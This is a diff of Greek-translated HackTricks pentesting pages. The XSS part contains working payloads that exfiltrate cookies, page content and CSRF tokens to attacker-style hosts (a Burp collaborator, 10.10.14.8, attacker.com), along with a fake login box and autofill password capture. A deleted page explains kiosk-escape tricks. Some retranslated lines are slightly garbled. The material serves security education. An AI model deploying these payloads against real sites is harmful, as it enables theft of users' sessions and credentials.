Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατόν να **χρησιμοποιήσετε διαχειριστές σφαλμάτων** για να αποκτήσετε πρόσβαση στο **wrapper** της μονάδας και να αποκτήσετε τη **`require`** συνάρτηση:
Με παρόμοιο τρόπο με το προηγούμενο παράδειγμα, είναι δυνατόν να **χρησιμοποιήσετε διαχειριστές σφαλμάτων** για να αποκτήσετε πρόσβαση στο **wrapper** της μονάδας και να αποκτήσετε τη λειτουργία **`require`**:
```javascript
try {
null.f()
@ -1266,10 +1270,10 @@ steal-info-js.md
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
```
> [!NOTE]
> Δεν **θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από το JavaScript** αν η σημαία HTTPOnly είναι ρυθμισμένη στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους για να παρακάμψετε αυτή την προστασία](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί.
> [!TIP]
> Δεν **θα μπορείτε να αποκτήσετε πρόσβαση στα cookies από το JavaScript** αν η σημαία HTTPOnly είναι ρυθμισμένη στο cookie. Αλλά εδώ έχετε [μερικούς τρόπους να παρακάμψετε αυτή την προστασία](../hacking-with-cookies/index.html#httponly) αν είστε αρκετά τυχεροί.
### Κλέψτε Περιεχόμενο Σελίδας
### Κλοπή Περιεχομένου Σελίδας
```javascript
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
@ -1343,7 +1347,7 @@ q.shift()()
```javascript
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
```
### Σαρωτής Θυρών (websockets)
### Σαρωτής Θερμικών Θυρών (websockets)
```python
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
@ -1358,15 +1362,15 @@ console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms")
};
}
```
_Σύντομοι χρόνοι υποδεικνύουν μια απαντητική θύρα_ _Μακρύτεροι χρόνοι υποδεικνύουν μη απάντηση._
_Σύντομοι χρόνοι υποδεικνύουν μια απαντητική θύρα_ _Μακρύτεροι χρόνοι υποδεικνύουν καμία απάντηση._
Ελέγξτε τη λίστα των θυρών που έχουν απαγορευτεί στο Chrome [**εδώ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) και στο Firefox [**εδώ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
Δείτε τη λίστα με τις θύρες που έχουν απαγορευτεί στο Chrome [**εδώ**](https://src.chromium.org/viewvc/chrome/trunk/src/net/base/net_util.cc) και στο Firefox [**εδώ**](https://www-archive.mozilla.org/projects/netlib/portbanning#portlist).
### Κουτί για να ζητήσετε διαπιστευτήρια
```html
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
```
### Συλλογή κωδικών πρόσβασης αυτόματης συμπλήρωσης
### Αυτόματη καταγραφή κωδικών πρόσβασης
```javascript
<b>Username:</><br>
<input name=username id=username>
@ -1388,7 +1392,7 @@ body:username.value+':'+this.value
- [https://github.com/hakanonymos/JavascriptKeylogger](https://github.com/hakanonymos/JavascriptKeylogger)
- Μπορείτε επίσης να χρησιμοποιήσετε το metasploit `http_javascript_keylogger`
### Stealing CSRF tokens
### Κλοπή CSRF tokens
```javascript
<script>
var req = new XMLHttpRequest();
@ -1498,7 +1502,7 @@ javascript:eval(atob("Y29uc3QgeD1kb2N1bWVudC5jcmVhdGVFbGVtZW50KCdzY3JpcHQnKTt4Ln
```
### Regex - Πρόσβαση σε Κρυφό Περιεχόμενο
Από [**αυτή την αναφορά**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμα και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να βρεθεί μετά την αφαίρεση της τιμής της εισόδου του regex:
Από [**αυτή την αναφορά**](https://blog.arkark.dev/2022/11/18/seccon-en/#web-piyosay) είναι δυνατόν να μάθουμε ότι ακόμη και αν κάποιες τιμές εξαφανιστούν από το JS, είναι ακόμα δυνατό να τις βρούμε σε JS attributes σε διάφορα αντικείμενα. Για παράδειγμα, μια είσοδος ενός REGEX είναι ακόμα δυνατό να τη βρούμε αφού η τιμή της εισόδου του regex έχει αφαιρεθεί:
```javascript
// Do regex with flag
flag = "CTF{FLAG}"
@ -1525,7 +1529,7 @@ https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xss.txt
### XSS σε Markdown
Μπορείτε να εισάγετε κώδικα Markdown που θα αποδοθεί; Ίσως μπορείτε να αποκτήσετε XSS! Ελέγξτε:
Μπορείς να εισάγεις κώδικα Markdown που θα αποδοθεί; Ίσως μπορείς να αποκτήσεις XSS! Έλεγξε:
{{#ref}}
xss-in-markdown.md
@ -1533,7 +1537,7 @@ xss-in-markdown.md
### XSS σε SSRF
Έχετε XSS σε μια **ιστοσελίδα που χρησιμοποιεί caching**; Δοκιμάστε **να το αναβαθμίσετε σε SSRF** μέσω Edge Side Include Injection με αυτό το payload:
Έχεις XSS σε μια **ιστοσελίδα που χρησιμοποιεί caching**; Δοκίμασε **να το αναβαθμίσεις σε SSRF** μέσω Edge Side Include Injection με αυτό το payload:
```python
<esi:include src="http://yoursite.com/capture" />
```
@ -1542,8 +1546,8 @@ xss-in-markdown.md
### XSS σε δυναμικά δημιουργημένο PDF
Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο JS κώδικα**.\
Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **τα ερμηνεύσει**, και μπορείτε να **εκμεταλλευτείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**.
Εάν μια ιστοσελίδα δημιουργεί ένα PDF χρησιμοποιώντας είσοδο που ελέγχεται από τον χρήστη, μπορείτε να προσπαθήσετε να **παγιδεύσετε το bot** που δημιουργεί το PDF ώστε να **εκτελέσει αυθαίρετο κώδικα JS**.\
Έτσι, αν το **bot δημιουργίας PDF βρει** κάποιο είδος **HTML** **tags**, θα **ερμηνεύσει** αυτά, και μπορείτε να **καταχραστείτε** αυτή τη συμπεριφορά για να προκαλέσετε ένα **Server XSS**.
{{#ref}}
server-side-xss-dynamic-pdf.md
@ -1559,7 +1563,7 @@ pdf-injection.md
Το AMP, που στοχεύει στην επιτάχυνση της απόδοσης ιστοσελίδων σε κινητές συσκευές, ενσωματώνει HTML tags συμπληρωμένα με JavaScript για να διασφαλίσει τη λειτουργικότητα με έμφαση στην ταχύτητα και την ασφάλεια. Υποστηρίζει μια σειρά από συστατικά για διάφορες δυνατότητες, προσβάσιμα μέσω [AMP components](https://amp.dev/documentation/components/?format=websites).
Η [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) μορφή επεκτείνει συγκεκριμένα AMP components σε emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα emails τους.
Η μορφή [**AMP for Email**](https://amp.dev/documentation/guides-and-tutorials/learn/email-spec/amp-email-format/) επεκτείνει συγκεκριμένα AMP components σε emails, επιτρέποντας στους παραλήπτες να αλληλεπιδρούν με το περιεχόμενο απευθείας μέσα στα emails τους.
Παράδειγμα [**writeup XSS σε Amp4Email στο Gmail**](https://adico.me/post/xss-in-gmail-s-amp4email).
@ -1621,7 +1625,7 @@ id="foo"/>
```xml
<svg><use href="data:image/svg+xml,&lt;svg id='x' xmlns='http://www.w3.org/2000/svg' &gt;&lt;image href='1' onerror='alert(1)' /&gt;&lt;/svg&gt;#x" />
```
Βρείτε **περισσότερα SVG payloads σε** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
Βρείτε **περισσότερα payloads SVG σε** [**https://github.com/allanlw/svg-cheatsheet**](https://github.com/allanlw/svg-cheatsheet)
## Διάφορα JS Tricks & Σχετικές Πληροφορίες

View File

@ -1,14 +1,12 @@
# Αποσφαλμάτωση JS Client Side
## Αποσφαλμάτωση JS Client Side
# Debugging Client Side JS
{{#include ../../banners/hacktricks-training.md}}
Η αποσφαλμάτωση του JS client side μπορεί να είναι δύσκολη γιατί κάθε φορά που αλλάζετε τη διεύθυνση URL (συμπεριλαμβανομένης μιας αλλαγής στις παραμέτρους ή τις τιμές παραμέτρων) πρέπει να **επαναφέρετε το breakpoint και να ανανεώσετε τη σελίδα**.
Η αποσφαλμάτωση του JS στον πελάτη μπορεί να είναι δύσκολη, διότι κάθε φορά που αλλάζετε τη διεύθυνση URL (συμπεριλαμβανομένων των αλλαγών στις παραμέτρους ή τις τιμές παραμέτρων) πρέπει να **επαναφέρετε το σημείο διακοπής και να ανανεώσετε τη σελίδα**.
### `debugger;`
Αν τοποθετήσετε τη γραμμή `debugger;` μέσα σε ένα αρχείο JS, όταν ο **περιηγητής** εκτελεί το JS θα **σταματήσει** τον **αποσφαλματωτή** σε εκείνο το σημείο. Επομένως, ένας τρόπος για να ορίσετε σταθερά breakpoints θα ήταν να **κατεβάσετε όλα τα αρχεία τοπικά και να αλλάξετε τα breakpoints στον κώδικα JS**.
Αν τοποθετήσετε τη γραμμή `debugger;` μέσα σε ένα αρχείο JS, όταν ο **περιηγητής** εκτελεί το JS θα **σταματήσει** τον **αποσφαλματωτή** σε εκείνο το σημείο. Επομένως, ένας τρόπος για να ορίσετε σταθερά σημεία διακοπής θα ήταν να **κατεβάσετε όλα τα αρχεία τοπικά και να αλλάξετε τα σημεία διακοπής στον κώδικα JS**.
### Overrides
@ -21,11 +19,11 @@
![](<../../images/image (742).png>)
Αυτό θα **αντιγράψει το αρχείο JS τοπικά** και θα μπορείτε να **τροποποιήσετε αυτή την αντίγραφο στον περιηγητή**. Έτσι, απλά προσθέστε την **εντολή `debugger;`** όπου θέλετε, **αποθηκεύστε** την αλλαγή και **ανανεώστε** τη σελίδα, και κάθε φορά που αποκτάτε πρόσβαση σε αυτή τη διαδικτυακή σελίδα **η τοπική σας αντίγραφο JS θα φορτωθεί** και η εντολή αποσφαλμάτωσης θα διατηρηθεί στη θέση της:
Αυτό θα **αντιγράψει το αρχείο JS τοπικά** και θα μπορείτε να **τροποποιήσετε αυτή την αντίγραφο στον περιηγητή**. Έτσι, απλά προσθέστε την εντολή **`debugger;`** όπου θέλετε, **αποθηκεύστε** την αλλαγή και **ανανεώστε** τη σελίδα, και κάθε φορά που αποκτάτε πρόσβαση σε αυτή τη διαδικτυακή σελίδα **η τοπική σας αντίγραφο JS θα φορτωθεί** και η εντολή αποσφαλμάτωσης θα διατηρηθεί στη θέση της:
![](<../../images/image (594).png>)
## Αναφορές
## References
- [https://www.youtube.com/watch?v=BW\_-RCo9lo8\&t=1529s](https://www.youtube.com/watch?v=BW_-RCo9lo8&t=1529s)

View File

@ -1,276 +0,0 @@
{{#include ../../banners/hacktricks-training.md}}
# Έλεγχος για πιθανές ενέργειες μέσα στην εφαρμογή GUI
**Κοινά Διάλογοι** είναι αυτές οι επιλογές του **αποθηκεύοντας ένα αρχείο**, **ανοίγοντας ένα αρχείο**, επιλέγοντας μια γραμματοσειρά, ένα χρώμα... Οι περισσότερες από αυτές θα **προσφέρουν πλήρη λειτουργικότητα Explorer**. Αυτό σημαίνει ότι θα μπορείτε να έχετε πρόσβαση σε λειτουργίες του Explorer αν μπορείτε να έχετε πρόσβαση σε αυτές τις επιλογές:
- Κλείσιμο/Κλείσιμο ως
- Άνοιγμα/Άνοιγμα με
- Εκτύπωση
- Εξαγωγή/Εισαγωγή
- Αναζήτηση
- Σάρωση
Πρέπει να ελέγξετε αν μπορείτε να:
- Τροποποιήσετε ή δημιουργήσετε νέα αρχεία
- Δημιουργήσετε συμβολικούς συνδέσμους
- Αποκτήσετε πρόσβαση σε περιοχές περιορισμένης πρόσβασης
- Εκτελέσετε άλλες εφαρμογές
## Εκτέλεση Εντολών
Ίσως **χρησιμοποιώντας μια επιλογή `Άνοιγμα με`** μπορείτε να ανοίξετε/εκτελέσετε κάποιο είδος shell.
### Windows
Για παράδειγμα _cmd.exe, command.com, Powershell/Powershell ISE, mmc.exe, at.exe, taskschd.msc..._ βρείτε περισσότερα δυαδικά που μπορούν να χρησιμοποιηθούν για να εκτελέσουν εντολές (και να εκτελέσουν απροσδόκητες ενέργειες) εδώ: [https://lolbas-project.github.io/](https://lolbas-project.github.io)
### \*NIX \_\_
_bash, sh, zsh..._ Περισσότερα εδώ: [https://gtfobins.github.io/](https://gtfobins.github.io)
# Windows
## Παράκαμψη περιορισμών διαδρομής
- **Μεταβλητές περιβάλλοντος**: Υπάρχουν πολλές μεταβλητές περιβάλλοντος που δείχνουν σε κάποια διαδρομή
- **Άλλες πρωτόκολλες**: _about:, data:, ftp:, file:, mailto:, news:, res:, telnet:, view-source:_
- **Συμβολικοί σύνδεσμοι**
- **Συντομεύσεις**: CTRL+N (άνοιγμα νέας συνεδρίας), CTRL+R (Εκτέλεση Εντολών), CTRL+SHIFT+ESC (Διαχείριση Εργασιών), Windows+E (άνοιγμα explorer), CTRL-B, CTRL-I (Αγαπημένα), CTRL-H (Ιστορικό), CTRL-L, CTRL-O (Διάλογος Αρχείου/Άνοιγμα), CTRL-P (Διάλογος Εκτύπωσης), CTRL-S (Αποθήκευση ως)
- Κρυφό Διαχειριστικό μενού: CTRL-ALT-F8, CTRL-ESC-F9
- **Shell URIs**: _shell:Administrative Tools, shell:DocumentsLibrary, shell:Librariesshell:UserProfiles, shell:Personal, shell:SearchHomeFolder, shell:Systemshell:NetworkPlacesFolder, shell:SendTo, shell:UsersProfiles, shell:Common Administrative Tools, shell:MyComputerFolder, shell:InternetFolder_
- **UNC διαδρομές**: Διαδρομές για σύνδεση σε κοινόχρηστα φακέλους. Πρέπει να προσπαθήσετε να συνδεθείτε στο C$ της τοπικής μηχανής ("\\\127.0.0.1\c$\Windows\System32")
- **Περισσότερες UNC διαδρομές:**
| UNC | UNC | UNC |
| ------------------------- | -------------- | -------------------- |
| %ALLUSERSPROFILE% | %APPDATA% | %CommonProgramFiles% |
| %COMMONPROGRAMFILES(x86)% | %COMPUTERNAME% | %COMSPEC% |
| %HOMEDRIVE% | %HOMEPATH% | %LOCALAPPDATA% |
| %LOGONSERVER% | %PATH% | %PATHEXT% |
| %ProgramData% | %ProgramFiles% | %ProgramFiles(x86)% |
| %PROMPT% | %PSModulePath% | %Public% |
| %SYSTEMDRIVE% | %SYSTEMROOT% | %TEMP% |
| %TMP% | %USERDOMAIN% | %USERNAME% |
| %USERPROFILE% | %WINDIR% | |
## Κατεβάστε τα Δυαδικά σας
Console: [https://sourceforge.net/projects/console/](https://sourceforge.net/projects/console/)\
Explorer: [https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/](https://sourceforge.net/projects/explorerplus/files/Explorer%2B%2B/)\
Registry editor: [https://sourceforge.net/projects/uberregedit/](https://sourceforge.net/projects/uberregedit/)
## Πρόσβαση στο σύστημα αρχείων από τον περιηγητή
| PATH | PATH | PATH | PATH |
| ------------------- | ----------------- | ------------------ | ------------------- |
| File:/C:/windows | File:/C:/windows/ | File:/C:/windows\\ | File:/C:\windows |
| File:/C:\windows\\ | File:/C:\windows/ | File://C:/windows | File://C:/windows/ |
| File://C:/windows\\ | File://C:\windows | File://C:\windows/ | File://C:\windows\\ |
| C:/windows | C:/windows/ | C:/windows\\ | C:\windows |
| C:\windows\\ | C:\windows/ | %WINDIR% | %TMP% |
| %TEMP% | %SYSTEMDRIVE% | %SYSTEMROOT% | %APPDATA% |
| %HOMEDRIVE% | %HOMESHARE | | <p><br></p> |
## Συντομεύσεις
- Sticky Keys Πατήστε SHIFT 5 φορές
- Mouse Keys SHIFT+ALT+NUMLOCK
- High Contrast SHIFT+ALT+PRINTSCN
- Toggle Keys Κρατήστε το NUMLOCK για 5 δευτερόλεπτα
- Filter Keys Κρατήστε το δεξί SHIFT για 12 δευτερόλεπτα
- WINDOWS+F1 Αναζήτηση Windows
- WINDOWS+D Εμφάνιση Επιφάνειας Εργασίας
- WINDOWS+E Εκκίνηση Windows Explorer
- WINDOWS+R Εκτέλεση
- WINDOWS+U Κέντρο Προσβασιμότητας
- WINDOWS+F Αναζήτηση
- SHIFT+F10 Μενού Περιβάλλοντος
- CTRL+SHIFT+ESC Διαχείριση Εργασιών
- CTRL+ALT+DEL Οθόνη εκκίνησης σε νεότερες εκδόσεις Windows
- F1 Βοήθεια F3 Αναζήτηση
- F6 Γραμμή Διευθύνσεων
- F11 Εναλλαγή πλήρους οθόνης μέσα στο Internet Explorer
- CTRL+H Ιστορικό Internet Explorer
- CTRL+T Internet Explorer Νέα Καρτέλα
- CTRL+N Internet Explorer Νέα Σελίδα
- CTRL+O Άνοιγμα Αρχείου
- CTRL+S Αποθήκευση CTRL+N Νέα RDP / Citrix
## Σαρώσεις
- Σαρώστε από την αριστερή πλευρά προς τα δεξιά για να δείτε όλα τα ανοιχτά Windows, ελαχιστοποιώντας την εφαρμογή KIOSK και αποκτώντας πρόσβαση σε ολόκληρο το OS απευθείας.
- Σαρώστε από τη δεξιά πλευρά προς τα αριστερά για να ανοίξετε το Κέντρο Ενεργειών, ελαχιστοποιώντας την εφαρμογή KIOSK και αποκτώντας πρόσβαση σε ολόκληρο το OS απευθείας.
- Σαρώστε από την επάνω άκρη για να κάνετε την γραμμή τίτλου ορατή για μια εφαρμογή που έχει ανοιχτεί σε πλήρη οθόνη.
- Σαρώστε προς τα πάνω από το κάτω μέρος για να εμφανίσετε τη γραμμή εργασιών σε μια εφαρμογή πλήρους οθόνης.
## Τέχνασμα Internet Explorer
### 'Εργαλειοθήκη Εικόνας'
Είναι μια εργαλειοθήκη που εμφανίζεται στην επάνω αριστερή γωνία της εικόνας όταν κάνετε κλικ. Θα μπορείτε να Αποθηκεύσετε, να Εκτυπώσετε, να Στείλετε μέσω Mail, να Ανοίξετε "Οι Εικόνες Μου" στο Explorer. Η Kiosk πρέπει να χρησιμοποιεί τον Internet Explorer.
### Πρωτόκολλο Shell
Πληκτρολογήστε αυτές τις διευθύνσεις URL για να αποκτήσετε μια προβολή Explorer:
- `shell:Administrative Tools`
- `shell:DocumentsLibrary`
- `shell:Libraries`
- `shell:UserProfiles`
- `shell:Personal`
- `shell:SearchHomeFolder`
- `shell:NetworkPlacesFolder`
- `shell:SendTo`
- `shell:UserProfiles`
- `shell:Common Administrative Tools`
- `shell:MyComputerFolder`
- `shell:InternetFolder`
- `Shell:Profile`
- `Shell:ProgramFiles`
- `Shell:System`
- `Shell:ControlPanelFolder`
- `Shell:Windows`
- `shell:::{21EC2020-3AEA-1069-A2DD-08002B30309D}` --> Πίνακας Ελέγχου
- `shell:::{20D04FE0-3AEA-1069-A2D8-08002B30309D}` --> Ο Υπολογιστής Μου
- `shell:::{{208D2C60-3AEA-1069-A2D7-08002B30309D}}` --> Οι Δικτυακοί Τόποι Μου
- `shell:::{871C5380-42A0-1069-A2EA-08002B30309D}` --> Internet Explorer
## Εμφάνιση Επεκτάσεων Αρχείων
Ελέγξτε αυτή τη σελίδα για περισσότερες πληροφορίες: [https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml](https://www.howtohaven.com/system/show-file-extensions-in-windows-explorer.shtml)
# Τέχνασμα περιηγητών
Αντίγραφα iKat εκδόσεων:
[http://swin.es/k/](http://swin.es/k/)\
[http://www.ikat.kronicd.net/](http://www.ikat.kronicd.net)\
Δημιουργήστε έναν κοινό διάλογο χρησιμοποιώντας JavaScript και αποκτήστε πρόσβαση στον εξερευνητή αρχείων: `document.write('<input/type=file>')`
Πηγή: https://medium.com/@Rend_/give-me-a-browser-ill-give-you-a-shell-de19811defa0
# iPad
## Γεωμετρίες και κουμπιά
- Σαρώστε προς τα πάνω με τέσσερα (ή πέντε) δάχτυλα / Διπλό πατήστε το κουμπί Home: Για να δείτε την προβολή πολλαπλών εργασιών και να αλλάξετε εφαρμογή
- Σαρώστε από τη μία ή την άλλη πλευρά με τέσσερα ή πέντε δάχτυλα: Για να αλλάξετε στην επόμενη/προηγούμενη εφαρμογή
- Συμπιέστε την οθόνη με πέντε δάχτυλα / Αγγίξτε το κουμπί Home / Σαρώστε προς τα πάνω με 1 δάχτυλο από το κάτω μέρος της οθόνης σε γρήγορη κίνηση προς τα πάνω: Για να αποκτήσετε πρόσβαση στην Αρχική οθόνη
- Σαρώστε ένα δάχτυλο από το κάτω μέρος της οθόνης μόλις 1-2 ίντσες (αργά): Η βάση θα εμφανιστεί
- Σαρώστε προς τα κάτω από την κορυφή της οθόνης με 1 δάχτυλο: Για να δείτε τις ειδοποιήσεις σας
- Σαρώστε προς τα κάτω με 1 δάχτυλο στην επάνω δεξιά γωνία της οθόνης: Για να δείτε το κέντρο ελέγχου του iPad Pro
- Σαρώστε 1 δάχτυλο από την αριστερή πλευρά της οθόνης 1-2 ίντσες: Για να δείτε την προβολή Σήμερα
- Σαρώστε γρήγορα 1 δάχτυλο από το κέντρο της οθόνης προς τα δεξιά ή αριστερά: Για να αλλάξετε στην επόμενη/προηγούμενη εφαρμογή
- Πατήστε και κρατήστε το κουμπί On/**Off**/Sleep στην επάνω δεξιά γωνία του **iPad +** Μετακινήστε το Slide to **power off** slider όλη τη διαδρομή προς τα δεξιά: Για να απενεργοποιήσετε
- Πατήστε το κουμπί On/**Off**/Sleep στην επάνω δεξιά γωνία του **iPad και το κουμπί Home για μερικά δευτερόλεπτα**: Για να αναγκάσετε μια σκληρή απενεργοποίηση
- Πατήστε το κουμπί On/**Off**/Sleep στην επάνω δεξιά γωνία του **iPad και το κουμπί Home γρήγορα**: Για να τραβήξετε ένα στιγμιότυπο οθόνης που θα εμφανιστεί στην κάτω αριστερή γωνία της οθόνης. Πατήστε και τα δύο κουμπιά ταυτόχρονα πολύ σύντομα, καθώς αν τα κρατήσετε για μερικά δευτερόλεπτα θα εκτελεστεί μια σκληρή απενεργοποίηση.
## Συντομεύσεις
Πρέπει να έχετε ένα πληκτρολόγιο iPad ή έναν προσαρμογέα USB πληκτρολογίου. Μόνο οι συντομεύσεις που θα μπορούσαν να βοηθήσουν στην έξοδο από την εφαρμογή θα εμφανιστούν εδώ.
| Key | Name |
| --- | ------------ |
| ⌘ | Command |
| ⌥ | Option (Alt) |
| ⇧ | Shift |
| ↩ | Return |
| ⇥ | Tab |
| ^ | Control |
| ← | Αριστερό Βέλος |
| → | Δεξί Βέλος |
| ↑ | Άνω Βέλος |
| ↓ | Κάτω Βέλος |
### Συντομεύσεις συστήματος
Αυτές οι συντομεύσεις είναι για τις ρυθμίσεις οπτικών και ήχου, ανάλογα με τη χρήση του iPad.
| Συντόμευση | Ενέργεια |
| ----------- | -------------------------------------------------------------------------------- |
| F1 | Σβήσιμο οθόνης |
| F2 | Φωτεινότητα οθόνης |
| F7 | Πίσω ένα τραγούδι |
| F8 | Αναπαραγωγή/παύση |
| F9 | Παράλειψη τραγουδιού |
| F10 | Σίγαση |
| F11 | Μείωση έντασης |
| F12 | Αύξηση έντασης |
| ⌘ Space | Εμφάνιση λίστας διαθέσιμων γλωσσών; για να επιλέξετε μία, πατήστε ξανά το πλήκτρο διαστήματος. |
### Πλοήγηση iPad
| Συντόμευση | Ενέργεια |
| ---------------------------------------------------- | --------------------------------------------------------- |
| ⌘H | Μετάβαση στην Αρχική οθόνη |
| ⌘⇧H (Command-Shift-H) | Μετάβαση στην Αρχική οθόνη |
| ⌘ (Space) | Άνοιγμα Spotlight |
| ⌘⇥ (Command-Tab) | Λίστα των τελευταίων δέκα χρησιμοποιημένων εφαρμογών |
| ⌘\~ | Μετάβαση στην τελευταία εφαρμογή |
| ⌘⇧3 (Command-Shift-3) | Στιγμιότυπο οθόνης (εμφανίζεται στην κάτω αριστερή γωνία για αποθήκευση ή ενέργεια) |
| ⌘⇧4 | Στιγμιότυπο οθόνης και άνοιγμα του στην επεξεργασία |
| Πατήστε και κρατήστε ⌘ | Λίστα συντομεύσεων διαθέσιμων για την εφαρμογή |
| ⌘⌥D (Command-Option/Alt-D) | Εμφάνιση της βάσης |
| ^⌥H (Control-Option-H) | Κουμπί Home |
| ^⌥H H (Control-Option-H-H) | Εμφάνιση της γραμμής πολλαπλών εργασιών |
| ^⌥I (Control-Option-i) | Επιλογέας στοιχείων |
| Escape | Κουμπί πίσω |
| → (Δεξί βέλος) | Επόμενο στοιχείο |
| ← (Αριστερό βέλος) | Προηγούμενο στοιχείο |
| ↑↓ (Άνω βέλος, Κάτω βέλος) | Πατήστε ταυτόχρονα το επιλεγμένο στοιχείο |
| ⌥ ↓ (Option-Κάτω βέλος) | Κύλιση προς τα κάτω |
| ⌥↑ (Option-Άνω βέλος) | Κύλιση προς τα πάνω |
| ⌥← ή ⌥→ (Option-Αριστερό βέλος ή Option-Δεξί βέλος) | Κύλιση αριστερά ή δεξιά |
| ^⌥S (Control-Option-S) | Ενεργοποίηση ή απενεργοποίηση της ομιλίας VoiceOver |
| ⌘⇧⇥ (Command-Shift-Tab) | Εναλλαγή στην προηγούμενη εφαρμογή |
| ⌘⇥ (Command-Tab) | Επιστροφή στην αρχική εφαρμογή |
| ←+→, στη συνέχεια Option + ← ή Option+→ | Πλοήγηση μέσω της Βάσης |
### Συντομεύσεις Safari
| Συντόμευση | Ενέργεια |
| ------------------------- | -------------------------------------------------- |
| ⌘L (Command-L) | Άνοιγμα Τοποθεσίας |
| ⌘T | Άνοιγμα νέας καρτέλας |
| ⌘W | Κλείσιμο της τρέχουσας καρτέλας |
| ⌘R | Ανανεώστε την τρέχουσα καρτέλα |
| ⌘. | Σταματήστε τη φόρτωση της τρέχουσας καρτέλας |
| ^⇥ | Εναλλαγή στην επόμενη καρτέλα |
| ^⇧⇥ (Control-Shift-Tab) | Μετακίνηση στην προηγούμενη καρτέλα |
| ⌘L | Επιλογή του πεδίου εισόδου κειμένου/URL για τροποποίηση |
| ⌘⇧T (Command-Shift-T) | Άνοιγμα της τελευταίας κλειστής καρτέλας (μπορεί να χρησιμοποιηθεί πολλές φορές) |
| ⌘\[ | Πηγαίνετε πίσω μία σελίδα στην ιστορία περιήγησης |
| ⌘] | Πηγαίνετε μπροστά μία σελίδα στην ιστορία περιήγησης |
| ⌘⇧R | Ενεργοποίηση Λειτουργίας Αναγνωστή |
### Συντομεύσεις Mail
| Συντόμευση | Ενέργεια |
| ---------------------------- | ------------------------------ |
| ⌘L | Άνοιγμα Τοποθεσίας |
| ⌘T | Άνοιγμα νέας καρτέλας |
| ⌘W | Κλείσιμο της τρέχουσας καρτέλας|
| ⌘R | Ανανεώστε την τρέχουσα καρτέλα|
| ⌘. | Σταματήστε τη φόρτωση της τρέχουσας καρτέλας |
| ⌘⌥F (Command-Option/Alt-F) | Αναζήτηση στο γραμματοκιβώτιό σας |
# Αναφορές
- [https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html](https://www.macworld.com/article/2975857/6-only-for-ipad-gestures-you-need-to-know.html)
- [https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html](https://www.tomsguide.com/us/ipad-shortcuts,news-18205.html)
- [https://thesweetsetup.com/best-ipad-keyboard-shortcuts/](https://thesweetsetup.com/best-ipad-keyboard-shortcuts/)
- [http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html](http://www.iphonehacks.com/2018/03/ipad-keyboard-shortcuts.html)
{{#include ../../banners/hacktricks-training.md}}

View File

@ -1,240 +0,0 @@
# Ανάλυση Firmware
{{#include ../../banners/hacktricks-training.md}}
## **Εισαγωγή**
Το firmware είναι το απαραίτητο λογισμικό που επιτρέπει στις συσκευές να λειτουργούν σωστά, διαχειριζόμενο και διευκολύνοντας την επικοινωνία μεταξύ των υλικών στοιχείων και του λογισμικού με το οποίο αλληλεπιδρούν οι χρήστες. Αποθηκεύεται σε μόνιμη μνήμη, διασφαλίζοντας ότι η συσκευή μπορεί να έχει πρόσβαση σε ζωτικής σημασίας οδηγίες από τη στιγμή που ενεργοποιείται, οδηγώντας στην εκκίνηση του λειτουργικού συστήματος. Η εξέταση και η πιθανή τροποποίηση του firmware είναι ένα κρίσιμο βήμα για την αναγνώριση ευπαθειών ασφαλείας.
## **Συλλογή Πληροφοριών**
**Η συλλογή πληροφοριών** είναι ένα κρίσιμο αρχικό βήμα για την κατανόηση της σύνθεσης μιας συσκευής και των τεχνολογιών που χρησιμοποιεί. Αυτή η διαδικασία περιλαμβάνει τη συλλογή δεδομένων σχετικά με:
- Την αρχιτεκτονική CPU και το λειτουργικό σύστημα που εκτελεί
- Λεπτομέρειες bootloader
- Διάταξη υλικού και φύλλα δεδομένων
- Μετρήσεις κώδικα και τοποθεσίες πηγής
- Εξωτερικές βιβλιοθήκες και τύπους αδειών
- Ιστορικά ενημερώσεων και ρυθμιστικές πιστοποιήσεις
